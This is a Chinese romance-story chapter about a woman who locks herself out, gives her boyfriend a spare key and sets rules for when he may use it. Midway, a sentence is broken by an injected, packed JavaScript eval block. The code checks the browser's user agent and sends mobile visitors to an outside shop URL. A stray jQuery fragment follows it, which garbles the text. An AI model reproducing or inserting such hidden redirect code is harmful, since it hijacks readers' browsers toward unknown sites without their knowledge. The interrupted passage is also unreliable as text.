不归第一次被自己关在门外，是个星期二晚上。
事情发生得很没面子。
她九点多洗完澡，头发还没吹干，听见门口有东西倒下去的声音，开门一看，是她下午拆快递剩下的纸箱靠在鞋柜边，刚好滑倒，把过道挡了一半。不归嫌碍眼，顺手抱起来，准备扔去楼层尽头的回收点。
出门的时候手机没拿。
钥匙没拿。
门也没特意带。
然后走廊一阵穿堂风。
“砰。”
不归抱着空纸箱站在垃圾回收点前，足足三秒没动。
她慢慢回头。
门关得很彻底。
电子锁也锁得很彻底。
不归走过去按了一下门把手。
没开。
她又按一次。
还是没开。
很好。
搬进来快一个月，她终于用自己的实际行动验证了房东当初那句“这锁自动上锁，安全性很好”。
确实好。
主要防她自己。
邻居刚好出来遛狗，看见她穿着家居服、拖鞋，头发半湿，手里还抱着个纸箱，礼貌问了一句：“忘带钥匙了？”
不归沉默两秒。
“嗯。”
“手机呢？”
“里面。”
邻居点点头。
没笑。
但那只狗看了她半天。
不归莫名觉得连狗都在笑她。
最后是借邻居手机打的电话。
她第一个记得完整的号码居然是周砚的。
电话响了三声，那边接起来。
“喂？”
不归没说话。
周砚又问：“哪位？”
“我。”
那边安静半秒。
“你拿谁手机？”
“邻居。”
“你手机呢？”
“家里。”
“你人呢？”
“门外。”
这次周砚安静得更久。
不归警告：“你敢笑——”
电话那头传来非常明显的一声吸气。
“我没笑。”
“你最好没有。”
“所以你被锁外面了？”
“嗯。”
“备用钥匙呢？”
不归看着自己家门。
“家里。”
周砚终于没忍住。
电话那头笑得很轻。
可还是被她听见了。
“周砚。”
“对不起。”
“你等着。”
“行，我现在过去。”
“不许说行。”
“好。”
“不许笑。”
“尽量。”
“你不用来了。”
“手机在里面，钥匙在里面，开锁电话你知道？”
不归沉默。
不知道。
“我查好带人过去。”
她还想说点什么，周砚已经补了一句：“先去邻居家坐会儿，别一直站外面。头发还是湿的吧？”
不归愣了一下。
“你怎么知道？”
“你这个时间刚洗完澡。”
“你怎么知道我几点洗澡？”
“你上周跟我打电话的时候也差不多这个点。”
“不许记这些奇怪的东西。”
“知道了。”
挂电话以后，不归把手机还给邻居。
邻居已经牵着狗站旁边等了一会儿。
“男朋友？”
不归这次没犹豫。
“嗯。”
“那让他带钥匙来？”
“他没有。”
邻居看她一眼。
“哦。”
又是这个“哦”。
不归现在发现，全世界的人好像都很会用这个字。
周砚四十分钟后到。
还真带了开锁师傅。
不归已经在邻居家喝了半杯热水，听见门铃出去，第一眼先看周砚的脸。
“你想笑？”
“没有。”
“嘴角压下去。”
“我真没有。”
开锁师傅蹲门口研究锁。
“这种直接开可以，身份证明有吗？”
不归：“里面。”
“租房合同？”
“也里面。”
师傅抬头。
周砚：“手机里有电子版。”
不归转头：“你怎么有？”
“你签的时候发我看过一部分。”
“你还留着？”
“聊天记录没删。”
不归拿他手机翻了半天，真翻到了自己当初发的合同照片。
师傅确认完，开始开锁。
三分钟。
门开了。
收费二百二。
不归看着付款页面，脸都黑了。
“就三分钟？”
师傅：“技术费。”
周砚站旁边问：“要开发票吗？”
“不归转头：“你现在别跟我说话。”
“哦。”
“也不许哦。”
师傅收完钱走得很快。
估计也看出这个时候不适合留下。
不归进门第一件事就是找手机。
第二件事是去玄关抽屉翻备用钥匙。
还在最里面。
跟她搬家那天放进去的位置一模一样。
她拿出来看了半天。
周砚靠在门边：“你现在知道备用钥匙为什么不应该跟主钥匙放同一个房子了？”
不归冷冷看他。
“你今天话很多。”
“我可以不说。”
“已经晚了。”
她去吹头发。
周砚也没急着走，在客厅等她。
吹完回来，不归发现他已经把那个被她带出去又带回来的纸箱拆平了。
“你干什么？”
“回收。”
“我刚才就是为了扔它被锁外面的。”
“所以更应该扔。”
“我现在看它有点不顺眼。”
周砚笑。
不归坐到沙发上，把备用钥匙放茶几。
“这个怎么办？”
“放山外灯。”
“太远。”
“林闻素那儿。”
“还是远。”
“放公司。”
“我不固定在一个地方办公。”
“密码钥匙盒？”
“不喜欢放门外。”
周砚点头。
“那你自己想。”
不归看他。
周砚也看她。
两个人对视几秒。
他先明白了。
“你想给我？”
“你怎么一副我准备托孤的表情？”
“我只是确认。”
“你住得不算远。”
“嗯。”
“而且我电话记得住。”
“这是重点？”
“今天是。”
不归把钥匙往他那边推了一点。
“你拿着。”
周砚没马上接。
“什么情况下能用？”
不归一怔。
“钥匙还能规定使用情况？”
“你以前说过，就算有钥匙也不能不打招呼进来。”
“对。”
“那还是按以前？”
“当然。”
“你明确让我开门，或者紧急情况？”
“嗯。”
“普通来找你还是按门铃？”
“嗯。”
“你没回消息，能不能自己进？”
“不行。”
“你临时让我来拿东西？”
“可以。”
“东西拿完就走？”
不归皱眉：“你怎么跟权限说明书一样？”
“省得以后吵架。”
“你挺有经验？”
“没有，所以提前问。”
不归想了想。
“还有一种。”
“什么？”
“我锁外面的时候。”
周砚没憋住，笑了。
不归抄起靠垫就砸。
“你滚。”
“钥匙还给不给？”
“不给了。”
周砚把靠垫接住。
“那行。”
“你还行？”
“不说了。”
他真把钥匙放回茶几。
不归看见以后又不高兴。
“你为什么真不拿？”
“你刚说不给。”
“我生气说的。”
“那你现在消气了吗？”
“没有。”
“等消气再说。”
不归盯了他几秒。
突然觉得谈恋爱以后最烦的一件事，就是周砚越来越会顺着她的话堵她。
她伸手，把钥匙重新拿起来，直接塞进他手里。
“拿走。”
“确定？”
“再问就还我。”
周砚立刻收进外套口袋。
“好。”
不归看着他口袋的位置。
钥匙放进去以后，没有任何系统提示。
没有【权限已授予】。
也没跳出【关系亲密度提升】。
她以前总觉得给谁一把钥匙是件特别大的事。
至少电视剧里都很大。
同居前兆。
关系升级。
允许进入私人领地。
现在真给出去，过程居然就是周砚问了六个问题，然后把钥匙揣进兜里。
“不归。”
“嗯？”
“我回去了。”
她看了眼时间。
十点四十。
“这么晚还走？”
周砚停住。
“那我睡沙发？”
不归没立刻回答。
外面已经不下雨。
天气也挺好。
沙发还是那张沙发。
她卧室的床也还是那张床。
跟上次不同的是，他们现在已经谈恋爱了。
不归沉默几秒。
“你明天上班？”
“嗯。”
“衣服呢？”
“明早回去换来得及。”
“洗漱用品？”
“包里有。”
她看他：“你为什么还随身带着？”
“上次没拿出来，后来一直忘。”
“你是不是故意不拿？”
“真忘。”
不归半信半疑。
“那你留下。”
周砚没动。
“睡哪？”
“沙发。”
“哦。”
“你这个哦是什么意思？”
“没什么意思。”
“不许多想。”
“我什么都没想。”
“最好。”
周砚笑着去铺被子。
不归回卧室关门前，忽然又探出头。
“钥匙呢？”
周砚从外套口袋里拿出来给她看。
“在。”
“别弄丢。”
“知道。”
“也别配新的。”
“知道。”
“不能给别人。”
“知道。”
“周砚。”
“嗯？”
“不许嫌我烦。”
他抬头看她。
“没有。”
不归这才关门。
第二天早上，周砚七点多就走了。
他动作很轻，不归还是醒了一次，没起来。
八点半真正睁眼，她看见手机里有他发的消息。
【走了。】
下面还有一条。
【钥匙带着。】
不归回：
【嗯。】
想想又加：
【今天晚上不用来。】
周砚：
【我也没说来。】
不归：
【提前说。】
【懂。】
她起床洗漱。
路过玄关的时候，下意识拉开抽屉。
备用钥匙的位置空了。
她盯了两秒。
关上。
居然没什么不舒服。
周砚拿走钥匙以后的第四天，第一次派上用场。
不归那天下午临时开会，快递员打电话说有个大件到了，必须当天签收，是她之前买的矮柜。
她人在另一头，至少两小时回不去。
快递员不能一直等。
不归第一反应是让物业暂存。
物业说包裹太大，存放区满了。
她想了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17937330|208763||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
几秒，给周砚打电话。
“你在哪？”
“公司。”
“忙吗？”
“还行。”
“能不能去我家一趟？”
“干什么？”
“收快递。”
“现在？”
“嗯。”
周砚问：“需要我开门？”
“嗯。”
“确定？”
“确定。”
“行。”
不归已经懒得纠正他这个字了。
四十分钟后，周砚发来照片。
矮柜放进客厅。
【签了。】
不归：
【放墙边。】
【已经放了。】
【包装别拆。】
【没拆。】
【你走了吗？】
周砚：
【准备走。】
不归看着最后三个字。
忽然问：
【你不等我？】
那边隔了几秒。
【你不是还有会？】
【大概半小时。】
【那我等？】
不归想了想。
【等。】
会议提前十分钟结束。
她赶回家的时候，门没有反锁。
不归输入自己的密码进去，周砚正坐沙发上看电脑。
听见声音抬头。
“回来了？”
“嗯。”
她换鞋，走到客厅。
矮柜规规矩矩靠墙放着。
包装完好。
桌上没有乱动。
卧室门也关着。
周砚甚至连冰箱都没开。
不归看了一圈。
“你喝水了吗？”
“没有。”
“为什么不喝？”
“你没说。”
“……”
周砚看她：“怎么了？”
“你有病。”
“？”
“厨房水也不能喝？”
“能？”
“你以前来的时候没喝过？”
“以前你在。”
不归站原地看了他半天。
“以后水可以喝。”
“好。”
“厕所也可以上。”
“……”
“冰箱里的东西可以吃。”
“这个要不还是问一下？万一你留着——”
“不贵的都可以。”
“那怎么判断贵不贵？”
“周砚。”
“我闭嘴。”
不归终于笑了。
那天晚上两个人一起把矮柜拆了。
装到一半发现少了一颗螺丝。
周砚蹲地上找。
不归也跟着找。
最后螺丝从她自己的裤脚里掉出来。
周砚看着地上那颗东西，很久没说话。
不归先发制人：“不许笑。”
“我没笑。”
“你现在已经在笑了。”
“真没有。”
“出去。”
“柜子还装吗？”
“装。”
“那我不能出去。”
两个人折腾到九点，总算把柜子立起来。
不归站远一点看。
“有点歪。”
周砚：“地板的问题。”
“你确定？”
“不确定。”
“那怎么办？”
“能放东西。”
不归想起自己那个陶艺杯。
“你现在标准越来越低了。”
“跟你学的。”
她笑了一下。
晚上周砚走的时候，还是从口袋里拿钥匙出来看了眼。
“要还吗？”
不归愣了一下。
“为什么还？”
“今天已经收完快递了。”
“钥匙又不是为今天给的。”
周砚点头。
重新收回去。
他没再问。
不归也没解释。
那天晚上，她打开自己的空白续页。
日期下面还是一片空。
她写：
【把备用钥匙给周砚了。】
写完以后，本来下意识想加一句：
【不代表同居。】
手停了一会儿。
删掉。
又打：
【紧急备用。】
还是删。
最后就留第一句。
因为给了就是给了。
至于以后他什么时候进门，会不会哪一天住进来，钥匙最后会不会收回来，都可以等真的发生以后再写。
现在没必要急着替这一把钥匙安排结局。
第二天晚上，周砚来吃饭。
到了门口照样按门铃。
不归开门以后，看了眼他的口袋。
“你不是有钥匙？”
“有。”
“那为什么不用？”
“你没让我用。”
不归靠在门边看他两秒。
“今天可以。”
周砚眉梢动了一下。
“今天可以什么？”
“自己开。”
“以后呢？”
“看情况。”
“行。”
不归瞪他。
周砚笑着从口袋里拿钥匙。
“重来。”
他退回门外。
不归莫名其妙：“你干什么？”
“你不是说今天可以？”
“然后？”
周砚把门轻轻带上。
下一秒，锁芯转动。
门重新从外面打开。
他站在门口看她。
“我进来了。”
不归忍了两秒。
“你是不是有病？”
“仪式感。”
“谁教你的？”
“不知道。”
她笑着往后让了一步。
“换鞋。”
周砚走进来。
钥匙重新放回口袋。
这一次，门是在他身后关上的。
不归没觉得自己的房子少了什么。
反而觉得好像多了一件很小的事。
有人能开这扇门。
因为她给了钥匙。
也因为今天，她愿意让他进来。